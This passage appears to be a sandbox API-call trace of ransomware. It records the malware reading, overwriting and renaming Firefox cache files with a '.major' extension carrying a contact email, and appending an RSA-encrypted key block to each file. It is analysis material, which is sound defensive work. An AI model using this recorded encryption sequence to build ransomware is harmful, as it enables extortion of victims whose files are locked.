[0257.489] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.489] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52a, lpOverlapped=0x0) returned 1 [0257.489] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52a [0257.489] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.490] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.490] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.490] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.490] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.490] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pzEWAvwPodmSNzOJgUTjiLePMfkWXs56z0qraJRlMYCmJ95WwugQ2tBLkQ6NYXag\n9NsBzRtthXcwUAp60+37kfMQCp9Fnpl+ZkpdFlsJiPwM876WODuenGnpuK1qIyVv\nVbLj3CuPRr7bwcMaafUEIzbcPVLO9JidQholcTmxQlEUul1amJPff5TuWpnbhj4a\nNg8ssb4c6WZjQaOjPVKql8WAxxexc7rO897DRibpkAwqWfS8vlaUgDfw2KGb6UfZ\nVTxEBHrMnY1GjvGuzs6U+ln1dykCZBAZGKpxaYCGK5hHrMj4hs9Hh3861Brlu8px\nhzW3t+TcFqUZwj2w1QNWlg==\n", pcchString=0x2e3f9a8) returned 1 [0257.490] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.491] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.491] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.491] CloseHandle (hObject=0x1b84) returned 1 [0257.492] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.492] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B7DB036074231ACC212F58CA5B8AF0545A418060", dwFileAttributes=0x80) returned 1 [0257.493] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x20912, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x20912, lpOverlapped=0x0) returned 1 [0257.608] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-133394, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.608] WriteFile (in: hFile=0x1b84, lpBuffer=0x346a970*, nNumberOfBytesToWrite=0x20912, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x346a970*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20912, lpOverlapped=0x0) returned 1 [0257.609] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20912 [0257.609] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.609] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.610] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.610] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.610] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.610] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oQJ90aX6s1HRQ7aZ238uNBs5/hednDqLCsnRnrt+myH2YjDYvvY9uKu4EOUdKQKp\nshcT9GSQRKOLI63kUhAvq3SHPRnAhFGwIe2k7aSEQgFfAbPAIlS7EUH4WX7xXaMt\nT9TBVpWIGz0xBqt8BQMWOU2rP04XAbzGxjPtF1YlwSSVwo8OCcnqHpLwHAFtMPpi\ngtGIPwLoCkgjFIdivZpDKG9h8rsypMOstk+Qa7awdjiEFnVltuhn5+6R9JoUkkUc\nx2z7fYjDOy1Y1tzBj3GnVO9TPQKyran9Nd9QJtgko6PzHa5h+n7PIUYQlMtuVbge\nDdROXfaqdducmszRmqNkgw==\n", pcchString=0x2e3f9a8) returned 1 [0257.610] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.611] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.611] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.611] CloseHandle (hObject=0x1b84) returned 1 [0257.613] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.613] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B7D247885D071E7CF0E479F31FF2CDB5B3839A24", dwFileAttributes=0x80) returned 1 [0257.613] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xefd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xefd, lpOverlapped=0x0) returned 1 [0257.623] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.623] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af58*, nNumberOfBytesToWrite=0xefd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af58*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefd, lpOverlapped=0x0) returned 1 [0257.624] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefd [0257.624] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.624] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.624] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.624] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.624] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.625] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EokUnKzzaUi0PzmtRJw927nrWg47PK8UwSDCjrbjJEpLTMdENQpyqzhKzrI+xBSv\n1mN2boNeEGdB5jaFRdj81Zh1nArN9SvklPaLERiVA+FLU1FxxQx6YrMmHhgWGCJ4\nA+pnqVe0oHVf1XlK1OaCPMwNJpLTsUl/OXH0gP2NFt6Giy7/ZzHvlJJMnaLo7o0b\nb+CqN8XTRmlUnt3OVwTemU9BYhM8vyn4hcZ6fCCuuIZNWeL5fT7yH/BB4bpZxebt\npR6KH7mM0WV8vJlO98Uu+kiVktiHEM81azp7wmI7VBfvIuOGnuHjfsora5umDWTF\nQtV+nILdhlUkTwPFNZp/HA==\n", pcchString=0x2e3f9a8) returned 1 [0257.625] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.625] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.625] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.625] CloseHandle (hObject=0x1b84) returned 1 [0257.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.627] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B761C188E45D22C3419517129581D82241C94A98", dwFileAttributes=0x80) returned 1 [0257.628] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x271a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x271a, lpOverlapped=0x0) returned 1 [0257.638] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-10010, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.638] WriteFile (in: hFile=0x1b84, lpBuffer=0x344c778*, nNumberOfBytesToWrite=0x271a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344c778*, lpNumberOfBytesWritten=0x2e3f9b4*=0x271a, lpOverlapped=0x0) returned 1 [0257.639] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x271a [0257.639] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.639] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.640] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.640] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.640] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.640] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="mnbs0vP/XB7K1svkm1mYrNWM5DzSBoJZSphEiiKOcMdIEalC+jpb4AaKl45vfJht\n93hwb+II8bN7HBEULW/FE7nn0qN3Is0od/SmzDHMQpuIUMyoBCmlml6gboqwKfky\nN9owXMaAqKa/Tv5lMDd5oxs3b9eC9rnM9advczSeaSPcka78s28BWhgVKQ8opXlk\n6HfG0nH7Dm596FtzjN157739iZtuyTtS1iaWTMgPhH1Gn4dV5igRNCkS3+o31yes\nQapRgfuEkZhg5ApnuEF61VlCLGvwjyILPzYOfT1lvlnzRUtE3sDzhMbMk0TTRSTp\nwL2cMqJ2yYvz+7qIDBOTKg==\n", pcchString=0x2e3f9a8) returned 1 [0257.640] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.640] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.640] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.641] CloseHandle (hObject=0x1b84) returned 1 [0257.642] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.642] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B73E4A4438B9B71F020E7D4B54AE283770E47CA7", dwFileAttributes=0x80) returned 1 [0257.643] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x22f3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x22f3, lpOverlapped=0x0) returned 1 [0257.687] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8947, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.687] WriteFile (in: hFile=0x1b84, lpBuffer=0x344c350*, nNumberOfBytesToWrite=0x22f3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344c350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x22f3, lpOverlapped=0x0) returned 1 [0257.687] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x22f3 [0257.688] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.688] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.688] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.688] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.688] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.689] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Yo0urAqNjIuaVrZU4hPHEhL2pdaG7lGO8DgogtgvbQZBf6Pz5SbdRvkgsUifCqP9\nKpFgrrkTWhlmvm7k3y3wEr7cWotVq7cTndzTheQHNCzi8mXZNi8fzQaFLdvz4WXI\nMfmrqGfll7cHia9Rq+1PZzgKrmSQNdJjXbSjfBIQ92R08jCE71t2pgHjFmc408d8\npxdQtfXuWV3Xk+NmavYKiRglijvkmRyu4+vtBVkPQXnrCIxwDzSQvOyigB0ggpx0\nG/GwCCfdNyRkZ2abSrjoZzi6RKnuLSp706qFlBsEnl/vZsPg4B+QfkfQg6MHGJBG\nLPb+k8WhEOTPrZJFNjDbHw==\n", pcchString=0x2e3f9a8) returned 1 [0257.689] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.689] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.689] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.689] CloseHandle (hObject=0x1b84) returned 1 [0257.696] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.696] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B5F5B9A6662536196E088C9E9D5B3A8FCF7E3EE6", dwFileAttributes=0x80) returned 1 [0257.696] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xd6b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xd6b, lpOverlapped=0x0) returned 1 [0257.719] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.720] WriteFile (in: hFile=0x1b84, lpBuffer=0x344adc8*, nNumberOfBytesToWrite=0xd6b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344adc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd6b, lpOverlapped=0x0) returned 1 [0257.720] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd6b [0257.720] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.720] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.721] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.721] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.721] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.722] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DAVzRaCik95arTtIWtQrKlcT3keJPP2w7QL9dgdRgnl0lXg5TMJJ5yJUg4ecZA2J\nMufXJPX3N2BOeAkK4JHeyWtERFf17MAlApg9WAiiBzX/yQyU0vZZcp/8cY84hWUi\naa/gIFXMpMJ8PacFsJ8cAUVEK/X1YoT5xTXK6geNx0pScFcuqBanjIb8+y1S6cUt\nbehdm++XS420UM9YLIUJUAvAXNzAJjVyrWR+4pLOMgc6iIvAdNBHDSn98imRQcUd\nwk+HLiA+MdjnS3AmQJp2nWBcw9ce2EDnsw60JNJDTpaWMUJcHKcb1oJGHeaen5TK\nDMeWb62q+pBVyy6QnzseYw==\n", pcchString=0x2e3f9a8) returned 1 [0257.722] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.722] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.722] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.722] CloseHandle (hObject=0x1b84) returned 1 [0257.722] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B5F5B9A6662536196E088C9E9D5B3A8FCF7E3EE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b5f5b9a6662536196e088c9e9d5b3a8fcf7e3ee6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B5F5B9A6662536196E088C9E9D5B3A8FCF7E3EE6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\b5f5b9a6662536196e088c9e9d5b3a8fcf7e3ee6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0257.724] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.724] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\B597DA2E9B2D181DF7F2FB8D2BAEC133C8DBA0A3", dwFileAttributes=0x80) returned 1 [0257.725] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x4b79, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x4b79, lpOverlapped=0x0) returned 1 [0257.773] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-19321, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.773] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ebd8*, nNumberOfBytesToWrite=0x4b79, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ebd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4b79, lpOverlapped=0x0) returned 1 [0257.774] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4b79 [0257.774] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.774] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.775] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.775] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.775] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YmjVhfk4LpKxPIz9JO11fcVQoVLh5KLierj9gkItrF5m1mx81xOaHfpHbDTp3YAt\nEkwlx0yd8dmK2FGVXYthunbnv72AC3WthwyNe0DM2XIQqjWyijGDT/RvpXV7PYar\nV2Pfpu2eXgUgDb54+46lbTpzInI1AZIiJ0FFOsBgm57tq2Q+Q3Or6DMPV7wDNxRr\nTdusBGRXyBYRewOILQOh7PEJbPUw5/kz6hgH4D7JY/KVW4kgLtvkml+ohQQVEfM9\nYSUQuHI38gKye28Yay/NQYp+9uJLfty4D9W4LzotKnyTs1fXSkzPc0t4Y7fdPFNv\n8za8LeSC2bA6tD3Yo6kosA==\n", pcchString=0x2e3f9a8) returned 1 [0257.775] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.775] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.775] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 